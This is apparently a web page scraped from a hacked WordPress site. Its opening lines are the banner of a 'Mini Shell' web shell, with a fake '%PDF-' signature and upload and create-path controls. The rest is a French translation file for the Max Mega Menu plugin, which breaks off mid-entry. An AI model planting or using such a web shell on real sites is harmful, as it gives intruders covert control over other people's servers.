%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/t/r/a/tradesc/www/albanie/wp-content/languages/plugins/
Upload File :
Create Path :
Current File : /home/t/r/a/tradesc/www/albanie/wp-content/languages/plugins/megamenu-fr_FR.l10n.php

<?php
return ['x-generator'=>'GlotPress/4.0.1','translation-revision-date'=>'2024-09-03 17:14:49+0000','plural-forms'=>'nplurals=2; plural=n > 1;','project-id-version'=>'Plugins - Max Mega Menu - Stable (latest release)','language'=>'fr','messages'=>['Then use the Max Mega Menu block, widget or shortcode to output the menu location on your site.'=>'Utiliser ensuite le bloc, le widget ou le code court Max Mega Menu pour afficher le menu à l’emplacement sur votre site.','Go to Mega Menu > Menu Locations to create a new menu location.'=>'Aller à Mega Menu > Emplacements de menu pour créer un nouvel emplacement de menu.','There are currently no menu locations registered by your theme.'=>'Il n’y a actuellement aucun emplacement de menu enregistré par votre thème.','Offset'=>'Décalage','Set the outline style for menu items when they recieve focus using keyboard navigation.'=>'Définir le style de contour des éléments de menu lorsqu’ils reçoivent le focus lors de la navigation au clavier.','Keyboard Highlight Outline'=>'Mise en surbrillance du contour au clavier','block keywordnavigation'=>'navigation','block titleMax Mega Menu'=>'Max Mega Menu','Go to Mega Menu > Menu Locations to enable Max Mega Menu for this location.'=>'Aller à Mega Menu > Emplacements du menu pour activer Max Mega Menu pour cet emplacement.','Select a location'=>'Choisir un emplacement','Add the \'Max Mega Menu\' block to any block enabled area.'=>'Ajouter le bloc « Max Mega Menu » à n’importe quelle zone activée par bloc.','Display this menu location in a widget area.'=>'Afficher cet emplacement de menu dans une zone de widget.','Display this menu location in a post or page.'=>'Afficher cet emplacement de menu dans une publication/page.','Display this menu location in a theme template (usually header.php).'=>'Afficher cet emplacement de menu dans un modèle de thème (généralement header.php).','Display this menu location in any block supported area.'=>'Afficher cet emplacement de menu dans n’importe quelle zone prise en charge par bloc.','Block (Gutenberg)'=>'Bloc (Gutenberg)','Add a new menu location below, then display the menu using the Max Mega Menu block, widget or shortcode.'=>'Ajoutez un nouvel emplacement de menu ci-dessous, puis affichez le menu à l’aide du bloc, du widget ou du code court Max Mega Menu.','We have noticed that you have been using Max Mega Menu for some time. We hope you love it, and we would really appreciate it if you would %1$sgive us a 5 stars rating%2$s.'=>'Nous avons remarqué que vous utilisez Max Mega Menu depuis un certain temps. Nous espérons que vous l’aimerez et nous apprécierions vraiment si vous lui %1$sdonniez un avis 5 étoiles%2$s.','Dismiss this notice.'=>'Ignorer cet avis.','Add text shadow to top level menu items on desktop only'=>'Ajouter une ombre de texte aux éléments de menu de niveau supérieur sur ordinateur uniquement','Add text shadow to top level menu items on desktop AND mobile'=>'Ajouter une ombre de texte aux éléments de menu de niveau supérieur sur ordinateur ET mobile','Example CSS'=>'Exemple de CSS','Menu Location Settings'=>'Réglages d’emplacement du menu','Expand active parents'=>'Développer les parents actifs','Expand all'=>'Tout déplier','Collapse all'=>'Tout replier','First click will follow the link (the arrow must be used to toggle sub menu visiblity).'=>'Le premier clic suivra le lien (la flèche doit être utilisée pour basculer la visibilité du sous-menu).','Define the default state of the sub menus when the mobile menu is visible.'=>'Définisr l’état par défaut des sous-menus lorsque le menu mobile est visible.','Mobile Sub Menu Default State'=>'État par défaut du sous-menu mobile','Icon position'=>'Position de l’icône','Intended for use on anchor links (e.g. #about)'=>'Destiné à être utilisé sur des liens d’ancrage (par exemple #about)','Close sub menu when clicked'=>'Fermer le sous-menu lorsque vous cliquez dessus','Import a theme'=>'Importer un thème','Export theme'=>'Exporter le thème','Duplicate theme'=>'Dupliquer le thème','Add new theme'=>'Ajouter un nouveau thème','PHP Format'=>'Format PHP','JSON Format'=>'Format JSON','New Theme Created. To apply this theme to a menu location, go to <i>Mega Menu > Menu Locations</i> and select this theme from the \'Theme\' dropdown.'=>'Nouveau thème créé. Pour appliquer ce thème à un emplacement de menu, aller à <i>Mega Menu > Emplacements de menu</i> et choisir ce thème dans la liste déroulante « Thème ».','Footer (default)'=>'Pied de page (par défaut)','JavaScript Output'=>'Sortie JavaScript','Menu Location Saved'=>'Emplacement du menu enregistré','This menu location is registered by your theme. Your theme should already include the code required to display this menu location on your site.'=>'Cet emplacement de menu est enregistré par votre thème. Votre thème doit déjà inclure le code requis pour afficher cet emplacement de menu sur votre site.','Update the custom location description'=>'Mettre à jour la description de l’emplacement personnalisé','Display Options'=>'Options d’affichage','Use nav or div element for menu wrapper?'=>'Utiliser l’élément nav ou div pour le conteneur de menu ?','Container'=>'Conteneur','Advanced'=>'Avancé','Select a theme to be applied to the menu'=>'Choisir un thème à appliquer au menu','Choose a style for your mobile menu'=>'Choisir un style pour le menu mobile','Speed'=>'Vitesse','Animation'=>'Animation','Select the event to trigger sub menus'=>'Choisir l’évènement pour déclencher les sous-menus','Enable Max Mega Menu for this menu location?'=>'Activer Max Mega Menu pour cet emplacement de menu ?','View in Sandbox'=>'Vue dans le bac à sable','Add menu location'=>'Ajouter un emplacement de menu','Skip - I\'ll assign a menu later'=>'Passer - J’attribuerai un menu plus tard','Select a menu to be assigned to this location. This can be changed later using the Appearance > Menus > Manage Location page.'=>'Choisir un menu à attribuer à cet emplacement. Modification ultérieure via Apparence > Menus > Gérer l’emplacement.','E.g. Footer, Blog Sidebar, Header'=>'Ex. : pied de page, colonne latérale du blog, entête','Give the location a name that describes where the menu will be displayed on your site.'=>'Donner à l’emplacement un nom qui décrit où le menu sera affiché sur le site.','Location Name'=>'Nom de l’emplacement','Add Menu Location'=>'Ajouter un emplacement de menu','to this location to enable these options.'=>'à cet emplacement pour activer ces options.','Active for Instance'=>'Actif par exemple','Use these options to enable Max Mega Menu and define the behaviour of each menu location.'=>'Utiliser ces options pour activer Max Mega Menu et définir le comportement de chaque emplacement de menu.','This is an overview of the menu locations supported by your theme.'=>'Ceci est un aperçu des emplacements de menu pris en charge par le thème.','More options'=>'Plus d’options','The changes you made will be lost if you navigate away from this page.'=>'Les modifications que vous avez apportées seront perdues si vous quittez cette page.','Menu Toggle (Standard)'=>'Basculer le menu (standard)','Block'=>'Bloc','No reusable blocks available.'=>'Aucun bloc réutilisable disponible.','Outputs a reusable block.'=>'Sortie d’un bloc réutilisable.','- Select -'=>'- Choisir -','Template'=>'Modèle','No Elementor Templates found.'=>'Aucun modèle Elementor trouvé.','Outputs a saved Elementor template.'=>'Sortie d’un modèle Elementor enregistré.','Sub menu columns'=>'Colonnes du sous-menu','Only applies to menu items displayed within mega sub menus.'=>'Ne s’applique qu’aux éléments de menu affichés dans les sous-menus.','Collapse sub menu'=>'Refermer le sous-menu','Your menu CSS needs to be updated before you can use the following setting. Please go to %s and Clear the CSS Cache (you will only need to do this once).'=>'Les CSS de votre menu doivent être mis à jour avant de pouvoir utiliser le réglage suivant. Veuillez aller à %s et vider le cache CSS (vous n’aurez à le faire qu’une seule fois).','Padding for the mobile sub menu.'=>'Marges internes du sous-menu Mobile.','Off Canvas Width'=>'Largeur de la colonne latérale hors canevas','Force Full Width'=>'Forcer Pleine largeur','Overlay Content'=>'Superposition du contenu','Set a border radius on the mobile toggle bar.'=>'Définir un rayon de bordure sur la barre de bascule mobile.','Toggle Bar Border Radius'=>'Rayon de bordure de barre de bascule','Set the border for the third level menu items.'=>'Définir la bordure des éléments de menu de troisième niveau.','Set the margin for the third level menu items.'=>'Définir les marges externes pour les éléments de menu de troisième niveau.','Item Margin'=>'Marges externes','Title Border'=>'Bordure de titre','Title Margin'=>'Marges externes','Title Padding'=>'Marges internes','Title Font'=>'Police du titre','Column Padding'=>'Marge interne de colonne','Documentation: Highlighting Menu Items'=>'Documentation : mise en surbrillance des éléments de menu','Apply the \'hover\' styling to current menu items. Applies to top level menu items only.'=>'Appliquez le style de « survol » aux éléments de menu actuels. S’applique uniquement aux éléments de menu de niveau supérieur.','Item Border Radius'=>'Rayon de la bordure de l’élément','Color (Hover)'=>'Couleur (au survol)','Item Border'=>'Bordure de l’élément','Item Spacing'=>'Espacement vertical','Caution: Reset the styling of widgets within the mega menu? This may break the styling of widgets that you have added to your sub menus. Default: Disabled.'=>'Attention : réinitialiser le style des widgets dans le méga menu peut casser le style des widgets que vous avez ajoutés à vos sous-menus. Par défaut : désactivé.','Slide Down'=>'Glissement vers le bas','More information'=>'Plus d’informations','If you are trying to display Max Mega Menu here, use the \'Max Mega Menu\' widget instead.'=>'Si vous essayez d’afficher Max Mega menu ici, utilisez le widget’Max Mega menu à la place.','Inactive locations'=>'Emplacements inactifs','Active locations'=>'Emplacements actifs','Select location'=>'Sélectionner le lieu','(no label)'=>'(aucun libellé)','Menu Item'=>'Élément du menu','Didn\'t save'=>'N’a pas été enregistré','Saved (%s)'=>'Enregistré (%s)','Didn\'t move items'=>'Ne pas déplacer les éléments','Moved (%s)'=>'Déplacé (%s)','This is where Max Mega Menu stores widgets that you have added to sub menus using the mega menu builder. You can edit existing widgets here, but new widgets must be added through the Mega Menu interface (under Appearance > Menus).'=>'C’est là que Max Mega menu stocke les widgets que vous avez ajoutés aux sous-menus en utilisant le générateur de menu Mega. Vous pouvez modifier les widgets existants ici, mais de nouveaux widgets doivent être ajoutés via l’interface Mega menu (sous Apparence > Menus).','Max Mega Menu Widgets'=>'Widgets Max Mega Menu','Fast'=>'Rapide','Med'=>'Moyen','Slow'=>'Lent','Slide Up'=>'Glissement haut','Fade Up'=>'Fondu haut','Hover Intent'=>'Bougez intention','To assign this menu to a theme location, scroll to the bottom of this page and tag the menu to a \'Display location\'.'=>'Pour assigner ce menu à un emplacement du thème, descendre jusqu’au bas de la page et assigner le menu à un ’emplacement de menu’','There is not enough space in this row to add a new column. Make space by reducing the width of the columns within the row or create a new row.'=>'Il n’y a pas assez d’espace dans cette ligne pour ajouter une nouvelle colonne. Faites de la place en réduisant la largeur des colonnes dans la ligne ou créez une nouvelle ligne.','Custom CSS Classes will be prefixed with \'mega-\''=>'Les classes CSS personnalisées seront préfixées avec ’mega-’','Please save the menu structure to enable this option.'=>'Enregistrer la structure du menu pour activer cette option.','Label'=>'Libellé','X Large'=>'Très large','Large'=>'Grand','Medium'=>'Moyen','Small'=>'Petit','Animated Menu Toggle Settings'=>'Réglages d’animation de bascule du menu','After'=>'Après','Before'=>'Avant','Icon Size'=>'Taille d’icône','Icon Color'=>'Couleur de l’iicône','Text Size'=>'Corps du texte','Text Color'=>'Couleur du texte','Open Icon'=>'Icône d’ouverture','Closed Icon'=>'Icône fermée','Open Text'=>'Texte d’ouverture','Closed Text'=>'Texte fermé','Menu Toggle Settings'=>'Réglages du menu bascule','TOGGLE'=>'BASCULER','Width'=>'Largeur','Spacer Settings'=>'Réglages du séparateur','Click on a block to edit it, or drag and drop it to resposition the block within the toggle bar'=>'Cliquez sur un bloc pour le modifier, ou faites-le glisser et déposez-le pour repositionner le bloc dans la barre de bascule','Spacer'=>'Séparateur','Menu Toggle (Animated)'=>'Bascule de menu animée','Menu Toggle'=>'Menu de bascule','Add block to toggle bar'=>'Ajouter un bloc à la barre de nascule','Configure the contents of the mobile toggle bar'=>'Configurer le contenu de la barre de bascule mobile','Toggle Bar Designer'=>'Designer de barre de bascule','Icon'=>'Icone','Search'=>'Rechercher','Menu Item Icon'=>'Élément de menu Icône','Settings'=>'Réglages','Hide sub menu on mobile'=>'Cacher le sous-menu sur mobile','Right aligned flyout menus will expand to the left'=>'Menus au survols aligné à droite s’étendant vers la gauche','Right edge of Parent'=>'Bord droit du parent','Left edge of Parent'=>'Bord gauche du parent','Icon Position'=>'Position de l’icone','Item will be aligned based on the \'Menu Items Align\' option set in the Theme Editor'=>'L’élément sera aligné en fonction de l’option « Aligner les éléments de menu » définie dans l’éditeur de thème','Hide item on desktop'=>'Cacher l’élément sur grand écran','Hide item on mobile'=>'Cacher l’élément sur mobile','Edit'=>'Modifier','Column class'=>'Classe de colonne','Expand'=>'Développer','Contract'=>'Contrat','There is not enough space on this row to add a new column.'=>'Il n’y a pas assez d’espace sur cette ligne pour ajouter une nouvelle colonne.','You should rearrange the content of this row so that all columns fit onto a single line.'=>'Vous devez réorganiser le contenu de cette ligne afin que toutes les colonnes tiennent sur une seule ligne.','Column'=>'Colonne','Row columns'=>'Colonnes de rangée','Row class'=>'Classe Rangée','Hidden on mobile'=>'Caché sur mobile','Visible on mobile'=>'Visible sur mobile','Hidden on desktop'=>'Masquer sur ordinateur','Visible on desktop'=>'Visible sur ordinateur','Row'=>'Rangée','Your menu CSS needs to be updated first. Please go to %s and Clear the CSS Cache (you will only need to do this once).'=>'Votre menu CSS doit être mis à jour en premier. Veuillez aller à %s et effacer le cache CSS (vous n’aurez à le faire qu’une seule fois).','Mega Menu - Standard Layout'=>'Mega menu - Présentation standard','Mega Menu - Grid Layout'=>'Mega Menu - Disposition en grille','Sub Menu'=>'Sous-menu','The server returned a 500 error. The server did not provide an error message (you should find details of the error in your server error log), but this is usually due to your server memory limit being reached.'=>'Le serveur a renvoyé une erreur 500. Le serveur n’a pas fourni de message d’erreur (vous devriez trouver des détails sur l’erreur dans le journal des erreurs de votre serveur), mais cela est généralement dû au fait que la limite de mémoire de votre serveur est atteinte.','Try disabling unusued plugins to increase the available memory. Alternatively, for details on how to increase your server memory limit see:'=>'Essayez de désactiver les extensions non utilisés pour augmenter la mémoire disponible. Sinon, pour plus d’informations sur la façon d’augmenter la limite de mémoire du serveur, consultez :','The server ran out of memory whilst trying to regenerate the menu CSS.'=>'Le serveur a manqué de mémoire en essayant de régénérer le menu CSS.','Please try refreshing the page.'=>'Veuillez essayer de rafraîchir la page.','Error saving theme.'=>'Erreur d’enregistrement du thème.','Using the %wrap% and %menu% variables makes your theme portable (allowing you to apply the same theme to multiple menu locations)'=>'L’utilisation des variables %wrap% et %menu% rend votre thème portable (permettant d’appliquer le même thème à plusieurs emplacements de menu)','wraps the CSS within a media query based on the configured Responsive Breakpoint (see example CSS)'=>'conteneur CSS dans une requête multimédia basée sur le point de rupture configuré (voir l’exemple CSS)','You can enter standard CSS or <a href=\'https://sass-lang.com/guide\' target=\'_blank\'>SCSS</a> into the custom styling area. If using SCSS there are some variables and mixins you can use:'=>'Vous pouvez entrer CSS standard ou <a href=\'https://sass-lang.com/guide\' target=\' _ blank\'>SCSS</a> dans la zone de style personnalisé. Si vous utilisez SCSS il y a quelques variables et Mixins que vous pouvez utiliser :','UPPERCASE'=>'MAJUSCULE','2 Columns'=>'2 colonnes','1 Column'=>'1 colonne','Try clearing the cache of the above plugin if your changes are not being applied to the menu.'=>'Essayez de vider le cache de l’extension ci-dessus si vos modifications ne sont pas appliquées au menu.' . "\0" . 'Essayez de vider le cache des extensions ci-dessus si vos modifications ne sont pas appliquées au menu.','We have detected the following plugin that may prevent changes made within the theme editor from being applied to the menu.'=>'Nous avons détecté l’extension suivante pouvant empêcher les modifications apportées au sein de l’éditeur de thème d’être appliquées au menu.' . "\0" . 'Nous avons détecté les extensions suivantes pouvant empêcher les modifications apportées au sein de l’éditeur de thème d’être appliquées au menu.','Changes not showing up?'=>'Les modifications n’apparaissent pas ?','Enter a valid number (e.g. 0.1, 1, 10, 999)'=>'Entrez un ombre valide (ex : 0, 1, 10, 999)','Enter a value including a unit (e.g. 10px, 10rem, 10%)'=>'Entrez une valeur incluant une unité (ex : 10px, 10em, 10%)','Enter a whole number (e.g. 1, 5, 100, 999)'=>'Entrez un nombre entier (ex : 1, 5, 100, 999)','Collapse mega menu content into this many columns on mobile.'=>'Refermer le contenu du méga menu avec de nombreuses colonnes sur mobile.','Mega Menu Columns'=>'Colonnes Mega Menu','The font color for each top level menu item in the mobile menu when the sub menu is open.'=>'Couleur de police pour chaque élément de menu de niveau supérieur dans le menu mobile lorsque le sous-menu est ouvert.','Font (Active)'=>'Police (active)','The font to use for each top level menu item in the mobile menu.'=>'Police à utiliser pour chaque élément de menu du plus haut niveau.','The background color for each top level menu item in the mobile menu when the sub menu is open.'=>'Couleur d’arrière-plan pour chaque élément de menu de niveau supérieur dans le menu mobile lorsque le sous-menu est ouvert.','Menu Item Background (Active)'=>'Arrière-plan d’élément de menu (actif)','The background color for the mobile menu.'=>'Couleur d’arrière-plan du menu mobile.','Height of each top level item in the mobile menu.'=>'Hauteur de chaque élément de niveau supérieur dans le menu mobile.','Selector'=>'Sélecteur','Mobile Sub Menu'=>'Sous-menu Mobile','The \'Disable Mobile Toggle Bar\' option has been enabled. The following options are disabled as the mobile toggle bar will not be displayed.'=>'L’option « Désactiver la barre de bascule mobile » a été activée. Les options suivantes sont désactivées car la barre de bascule mobile ne s’affichera pas.','The \'Responsive Breakpoint\' option has been set to 0px. The desktop version of the menu will be displayed for all browsers (regardless of the browser width), so the following options are disabled.'=>'L’option « Point de rupture responsive » a été définie sur 0 px. La version ordinateur du menu s’affichera pour tous les navigateurs (quelle que soit la largeur du navigateur), les options suivantes sont donc désactivées.','The menu will be converted to a mobile menu when the browser width is below this value.'=>'Le menu sera converti en menu mobile lorsque la largeur du navigateur est inférieure à cette valeur.','Hide the toggle bar and display the menu in it\'s open state by default.'=>'Cacher la barre de bascule et afficher le menu dans son état ouvert par défaut.','Disable Mobile Toggle Bar'=>'Désactiver la barre de bascule sur mobile','Set the height of the mobile menu toggle bar.'=>'Définir la hauteur de la barre de menu mobile.','Toggle Bar Height'=>'Hauteur de la barre de bascule','Don\'t forget to update the Menu toggle block text and icon color in the Toggle Bar Designer above!'=>'N’oubliez pas de mettre à jour le texte du bloc de basculement du menu et la couleur de l’icône dans le concepteur de barre de bascule ci-dessus !','Set the background color for the mobile menu toggle bar.'=>'Définir la couleur d’arrière-plan pour la barre de menu mobile.','Toggle Bar Background'=>'Arrière-plan de la barre de bascule','Mobile Toggle Bar'=>'Barre de bascule Mobile','Mobile Menu'=>'Menu mobile','Menu Item Font (Hover)'=>'Police d’élément de menu (au survol)','Menu Item Font'=>'Police de l’élément de menu','Sub Menu Border Radius'=>'Option de style de bordure du sous menu','Sub Menu Border'=>'Bordure du sous-menu','Sub Menu Padding'=>'Remplissage de sous-menu','Experimental: Set this value to \'auto\' to use a flexible width.'=>'Expérimental : réglez cette valeur sur ’auto’ pour utiliser une largeur flexible.','Sub Menu Width'=>'Largeur du Sous-Menu','Sub Menu Background'=>'Arrière-plan des sous-menu','Content Font'=>'Police du contenu','Use this to define the amount of space around each widget / set of menu items within the sub menu.'=>'Utiliser ceci pour définir la quantité d’espace autour de chaque widget/ensemble d’éléments de menu dans le sous-menu.','Inner Width'=>'Largeur intérieure','Outer Width'=>'Largeur extérieure','Documentation: Configuring the sub menu width'=>'Documentation : Configuration de la largeur du sous-menu','Mega Menus'=>'Mega Menus','Generally we advise against using the Top and Bottom options here. Use the \'Menu Height\' setting to determine the height of your top level menu items.'=>'En règle générale, nous vous déconseillons d’utiliser les options Haut et Bas ici. Utilisez le réglage « Hauteur du menu » pour déterminer la hauteur de vos éléments de menu de niveau supérieur.','Align'=>'Alignement','Menu Height'=>'Hauteur du menu','This menu theme is not currently active as it has not been applied to any menu locations. You may wish to check you are editing the correct menu theme - you can choose a different theme to edit using the \'Select theme to edit\' selector above. Alternatively, to apply this theme to a menu go to <i>Appearance > Menus > Max Mega Menu Settings</i> and select this theme from the \'Theme\' dropdown.'=>'Ce thème de menu n’est pas actuellement actif car il n’a été appliqué à aucun emplacement de menu. Vous voudrez peut-être vérifier que vous modifiez le thème de menu correct - vous pouvez choisir un thème différent à modifier à l’aide du sélecteur « Sélectionner le thème à modifier » ci-dessus. Sinon, pour appliquer ce thème à un menu, accédez à <i> Apparence > Menus > Réglages de Mega Max Menu</i> et sélectionnez ce thème dans la liste déroulante « Thème ».','CSS Output (under Mega Menu > General Settings) has been disabled. Therefore, changes made within the theme editor will not be applied to your menu.'=>'Sortie CSS (sous Mega menu > Réglages généraux) a été désactivé. Par conséquent, les modifications apportées au sein de l’éditeur de thème ne seront pas appliquées à votre menu.','Please enable Dashicons in the Clearfy plugin options. Max Mega Menu requires Dashicons.'=>'Activer les Dashicons dans les options de l’extension Clearfy. Max Mega Menu nécessite des Dashicons.','The cache has been cleared and the menu CSS has been regenerated.'=>'Le cache a été effacé et les CSS du menu ont été régénérés.','Upgrade to Pro'=>'Passer à la version PRO','Troubleshooting'=>'Dépannage','Import a menu theme in JSON format'=>'Importer un thème de menu au format JSON','Paste this code into your themes functions.php file:'=>'Coller ce code dans le ficher functions.php de votre thème :','Log into the site you wish to import the theme to. Go to Mega Menu > Tools and paste this into the \'Import Theme\' text area:'=>'Connectez-vous au site dont vous souhaitez importer le thème. Allez dans Mega Menu > Outils et coller-le dans la zone de texte « Importer thème » :','The menu CSS was last updated on %s'=>'Les CSS du menu ont été mis à jour pour la dernière fois le %s','The CSS for your menu is updated each time a menu or a menu theme is changed. You can force the menu CSS to be updated using this tool.'=>'Le CSS de votre menu est mis à jour chaque fois qu’un menu ou un thème de menu est modifié. Vous pouvez forcer la mise à jour du menu CSS à l’aide de cet outil.','0: Apply to all instances. 1: Apply to first instance. 2: Apply to second instance'=>'0 : appliquer à toutes les instances. 1 : appliquer à la première instance. 2 : appliquer à la deuxième instance','Some themes will output this menu location multiple times on the same page. For example, it may be output once for the main menu, then again for the mobile menu. This setting can be used to make sure Max Mega Menu is only applied to one of those instances.'=>'Certains thèmes vont afficher un emplacement de menu plusieurs fois sur la même page. Par exemple, votre thème peut utiliser un emplacement du menu une fois pour le menu principal, puis de nouveau pour le menu mobile. Ce réglage peut être utilisé pour faire en sorte que Max Mega Menu l’applique seulement à l’une de ces instances.','Active Menu Instance'=>'Instances du menu actif','Prefix custom menu item classes with \'mega-\'?'=>'Préfixe des classes d’éléments de menu personnalisé avec « Mega- » ?','Prefix Menu Item Classes'=>'Préfixe des classes d’éléments de menu','To avoid conflicts with theme menu systems, JavaScript events which have been added to menu items will be removed by default.'=>'Pour éviter les conflits avec les systèmes de menus à thème, les événements JavaScript qui ont été ajoutés aux éléments de menu seront supprimés par défaut.','Unbind JavaScript Events'=>'Dissocier les événements JavaScript','Enable output of menu item descriptions.'=>'Activer l’affichage des descriptions des éléments de menu','Menu Item Descriptions'=>'Description de l’élément du menu','Selecting this option will effectively disable the theme editor and many of the features available in Max Mega Menu and Max Mega Menu Pro. Only enable this option if you fully understand the consequences.'=>'Sélectionner cette option désactive efficacement l’éditeur de thème et de nombreuses fonctionnalités disponibles dans Max Méga menu et Max Méga menu Pro. Activez uniquement cette option si vous comprenez parfaélémentent les conséquences.',' - Imported'=>' - Importé','megamenu.com'=>'megamenu.com','An easy to use mega menu plugin. Written the WordPress way.'=>'Une extension de menu méga facile à utiliser. Écrit à la manière de WordPress.','https://www.megamenu.com'=>'https://www.megamenu.com','Max Mega Menu has been updated. Please %s to ensure maximum compatibility with the latest version.'=>'Max Mega Menu mis à jour. %s, svp pour vous assurer du maximum de compatibilité avec la dernière version.','clear the CSS cache'=>'vider le cache CSS','Max Mega Menu is not compatible with your version of WordPress. Please upgrade WordPress to the latest version or disable Max Mega Menu.'=>'Max Mega Menu n’est pas compatible avec votre version de WordPress. Mettez à jour WordPress à la dernière version, svp, ou désactivez Max Mega Menu.','No menu locations found'=>'Aucun emplacement de menu trouvé','Menu Location:'=>'Emplacement de menu :','Title:'=>'Titre :','Outputs a menu for a selected theme location.'=>'Sorties de menu pour un emplacement sélectionné de thème.','Close'=>'Fermé','Delete'=>'Suppirmer','Failed to delete %s'=>'Echec lors de la suppresion de %s','Deleted %s'=>'%s supprimé','Failed to add %1$s to %2$d'=>'Echec lors de l’ajout de %1$s vers %2$d','Failed to update %s'=>'Echec lors de la mise à jour de %s','Updated %1$s (new columns: %2$d)'=>'Mise à jour de %1$s (nouvelle colonne : %2$d)','Failed to save %s'=>'Echec lors de la sauvegarde de %s','Saved %s'=>'%s enregistré','Warning: CSS compilation failed. Please check your changes or revert the theme.'=>'Attention : Echec lors de la compilation de la CSS. Vérifiez vos changements ou rétablissez votre thème.','Default'=>'Par défaut','Are you sure?'=>'Êtes vous sûr ?','lowercase'=>'minuscule','Capitalize'=>'Capitalisation','Normal'=>'Normal','Bold (700)'=>'Gras (700)','Normal (400)'=>'400','Light (300)'=>'Léger (300)','Theme Default'=>'Thème par défaut','Disabled'=>'Désactivé','Underline'=>'Souligné','Center'=>'Centré','Revert theme'=>'Rétablir le thème','Delete theme'=>'Supprimer le thème','converts to the ID selector of the menu, e.g. ul#mega-menu-primary'=>'converti vers le sélecteur ID du menu, ex : ul#mega-menu-primary','converts to the ID selector of the menu wrapper, e.g. div#mega-menu-wrap-primary'=>'converti vers le sélecteur ID du menu wrapper, ex : ul#mega-menu-wrap-primary','Custom Styling Tips'=>'Astuce de style personnalisé','Define any custom CSS you wish to add to menus using this theme. You can use standard CSS or SCSS.'=>'Définir des règles CSS que vous souhaitez ajouter aux menus utilisant ce thème. Vous pouvez utiliser du CSS standard ou du SCSS.','CSS Editor'=>'Editeur CSS','Custom Styling'=>'Style personnalisé','Show a line divider below each menu item.'=>'Afficher une ligne séparatrice entre chaque élément du menu.','Item Divider'=>'Séparateur d’élément','Item Font (Hover)'=>'Police de l’élément (au survol de la souris)','Set the font for the flyout menu items.'=>'Régler la police pour les éléments du menu au survol.','Item Font'=>'Police de l’élément','Set the padding for each flyout menu item.'=>'Régler le pas pour chaque élément du menu au survol.','Item Padding'=>'Marges internes de l’élément','The height of each flyout menu item.'=>'La hauteur de chaque élément du menu au survol.','Set the background color for a flyout menu item (on hover).'=>'Régler la couleur de fond pour un élément du menu au survol (au survol de la souris).','Item Background (Hover)'=>'Couleur de fond de l’élément (au survol de la souris)','Set the background color for a flyout menu item.'=>'Régler la couleur de fond pour un élément du menu au survol.','Item Background'=>'Couleur de fond de l’élément','Set rounded corners for flyout menus. Rounded corners will be applied to all flyout menu levels.'=>'Régler l’arrondi des angles pour les menus au survols. Les angles arrondis seront appliqués à tous les niveaux des menus au survols.','Set the border for the flyout menu.'=>'Régler la bordure pour les menus au survols.','Only suitable for single level flyout menus. If you\'re using multi level flyout menus set these values to 0px.'=>'Applicable seulement au premier niveau des menus au survols. Si vous utilisez plusieurs niveaux de menus au survols réglez cette valeur à 0px.','Set the padding for the whole flyout menu.'=>'Régler le pas pour tout le menu au survol.','Set this value to the width of your longest menu item title to stop menu items wrapping onto 2 lines.'=>'Régler cette valeur à la largeur de votre titre d’élément de menu le plus grand pour que votre menu ne se retrouve plus sur 2 lignes.','The width of each flyout menu. This must be a fixed pixel value.'=>'La largeur de chaque menu au survol. Ce doit être une valeur fixe.','Set the background color for the flyout menu.'=>'Régler la couleur de fond du menu au survol.','Flyout Menus'=>'Menus au survols','Set the padding for the third level menu items.'=>'Régler le pas pour les éléments du menu de 3ème niveau.','Set the background hover color for third level menu items.'=>'Régler la couleur de fond au survol de la souris pour les éléments du menu de 3ème niveau.','Set the font for third level menu items when they\'re displayed in a Mega Menu.'=>'Régler la police pour les éléments du menu de 3ème niveau quand ils seront affichés dans un Mega Menu.','Third Level Menu Items'=>'Items de 3ème niveau du menu','Set the border for the second level menu items.'=>'Régler la bordure pour les éléments du menu de 2ème niveau.','Set the margin for the second level menu items.'=>'Régler la marge pour les éléments du menu de 2ème niveau.','Set the padding for the second level menu items.'=>'Régler le pas pour les éléments du menu de 2ème niveau.','Set the background hover color for second level menu items.'=>'Régler la couleur de fond au survol de la souris pour les éléments de menus de 2ème niveau.','Set the font style on hover.'=>'Régler le style de police au survol de la souris.','Set the font for second level menu items when they\'re displayed in a Mega Menu.'=>'Régler la police pour les éléments du menu de 2ème niveau quand ils sont affichés dans un Mega Menu.','Second Level Menu Items'=>'Éléments du menu de 2ème niveau','Set the border for the widget headings.'=>'Régler la bordure pour les en-têtes du widget.','Set the margin for the widget headings.'=>'Régler la marge pour les titres de widget.','Set the padding for the widget headings.'=>'Régler le pas pour les titres de widget.','Set the font to use for panel contents.'=>'Définir la police à utiliser pour le contenu du panneau.','Set the font to use Widget headers in the mega menu. Tip: set this to the same style as the Second Level Menu Item Font to keep your styling consistent.'=>'Définir la police pour utiliser les en-têtes Widget dans le méga menu. Astuce : définissez-la sur le même style que la police d’élément de menu de second niveau pour garder votre style uniforme.','Set rounded corners for the sub menu.'=>'Définir un rayon de bordure pour le sous-menu.','Panel Border Radius'=>'Radius de la bordure du panneau','Set the border to display on the sub menu.'=>'Définir la bordure à afficher dans le sous-menu.','Panel Border'=>'Bordure du panneau','Set the padding for the whole sub menu. Set these values 0px if you wish your sub menu content to go edge-to-edge.'=>'Définir les marges internes pour l’ensemble du sous-menu. Définir ces valeurs sur 0 px si vous souhaitez que le contenu de votre sous-menu soit bord à bord.','Panel Padding'=>'Marges internes de panneau','Advanced: Enter a jQuery selector to synchronize the width and position of the sub menu with existing page element (e.g. body, #container, .page).'=>'Avancé : Saisissez un sélecteur jQuery pour synchroniser la largeur et la position du sous-menu avec un élément existant de la page (ex : body, #container, .page).','A 100% wide panel will only ever be as wide as the menu itself. For a fixed sub menu width set this to a pixel value.'=>'Un panneau large à 100 % ne sera jamais aussi large que le menu lui-même. Pour une largeur de sous-menu fixe, réglez-la sur une valeur en pixels.','Mega Panel width.'=>'Largeur du panneau Mega.','Panel Width'=>'Largeur de panneau','Set a background color for a whole sub menu.'=>'Définir une couleur de fond pour un menu sous-ensemble.','Panel Background'=>'Couleur de fond du panneau','Highlight Current Item'=>'Item actuel en surbrillance','Glow Opacity'=>'Opacité de la lueur','Show a small divider bar between each menu item.'=>'Afficher une petite barre de séparation entre chaque élément de menu.','Menu Item Divider'=>'Séparateur d’élément de menu','Set rounded corners for each top level menu item.'=>'Régler des bords arrondis pour chaque élément de menu du plus haut niveau.','Set the border to display on each top level menu item.'=>'Régler la bordure à afficher sur chaque élément de menu du plus haut niveau.','Set the padding for each top level menu item.'=>'Régler le pas pour chaque élément du menu du plus haut niveau.','Menu Item Padding'=>'Marges internes d’élément de menu','Set the font to use for each top level menu item (on hover).'=>'Régler 